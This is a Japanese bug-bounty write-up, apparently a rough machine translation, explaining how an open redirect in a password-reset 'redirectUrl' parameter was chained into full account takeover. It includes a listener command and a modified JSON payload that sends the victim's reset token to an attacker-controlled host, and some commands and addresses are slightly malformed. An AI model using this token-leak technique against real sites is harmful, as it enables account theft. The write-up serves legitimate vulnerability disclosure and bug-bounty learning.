Hello there, ('ω')ノ
P4をP2にチェーンする方法[完全なアカウント乗っ取りへのオープンリダイレクト]を。
脆弱性:
オープンリダイレクト
アカウント乗っ取り
記事:
今回は、「リファラ応答によるトークンリーク」を報告して。
次に、「redirectUrl」のあるエンドポイントに気づき。
その問題を修正しているときに、いくつかの変更が加えられ。
HTTPリクエストに新しいパラメータが追加された後に。
RedurectUrlをgoogle.comに変更したものの。
そこでメールをチェックしている間、それはgoogle.comで注入されておらず。
しかし、そのリンクを開いた後、それは正常にgoogle.comにリダイレクトされて。
次に、RedirectUrl=がリセットトークンに反映されていることに気付いて。
これは、ホストヘッダーインジェクション、0authの欠陥に似ていますが。
シナリオが異なって。
オープンリダイレクトについて:
無効化されたリダイレクトの脆弱性は、ユーザが信頼できる。
Webサイトにあるリンクにアクセスしたときに。
攻撃者がユーザを信頼できないサイトにリダイレクトできる場合に発生して。
この脆弱性は、OpenRedirectとも呼ばれて。
この問題を再現する手順:
1.https://redacted.vulnsite.com/loginからログインし.
[パスワードを忘れる]をクリックして。
下記が脆弱なWebサイトのUIで。
2.次に、Burp Suiteを開いてリクエストを傍受し。
「パスワードを忘れた」をクリックして、被害者の電子メールを入力して。
そのリクエストをリピータに送信し、リクエストを次のように変更して。
下記が、変更前のHTTPリクエストで。
そして、ターミナルを開いて、下記のコマンドを実行してリクエストを受信して。
python3 -m HTTP. server 80
次に、HTTPリクエストでredirectUrlを127.0.01に変更して。
{“redirectUrl”:”http://127.0.01/?reset-result={0}&reset-callback-uri={1}"}
3.被害者としてリセットリンクを開いたとき。
http://127.0.01/Secret_reset_tokenにリダイレクトされて。
4.リセットリンクで得た応答を確認して。
これで、URL(https://redacted.vulnsite.com/Secret_reset_token)を。
そのリセットリンクに置き換えるだけでパスワードをリセットできて。
これで、完全なアカウントの乗っ取りにつながる新しいパスワードを設定できて。
脆弱性開示プログラムのいくつかの方法論を学び。
それを有料ベースのプログラムに適用することをお勧めして。
公的有料プログラムに直接移行すると、バグや重複が発生する可能性が低くなり。
フラストレーションにつながって。
プラットフォームの理解に時間をかけて。
たとえば、Bugcrowdはレート制限の問題を受け入れますが。
プログラムにもよりますが、Hackeroneは受け入れなかったりと。
プログラムのポリシーと範囲を注意深く読んで。
チェックリストを作成して適用し。
つまり、POSTをGETに変更することによるCSRF、パスワードリセットページのSQL。
ヘッダを変更することによるホストヘッダインジェクションなど。
Best regards, (^^ゞ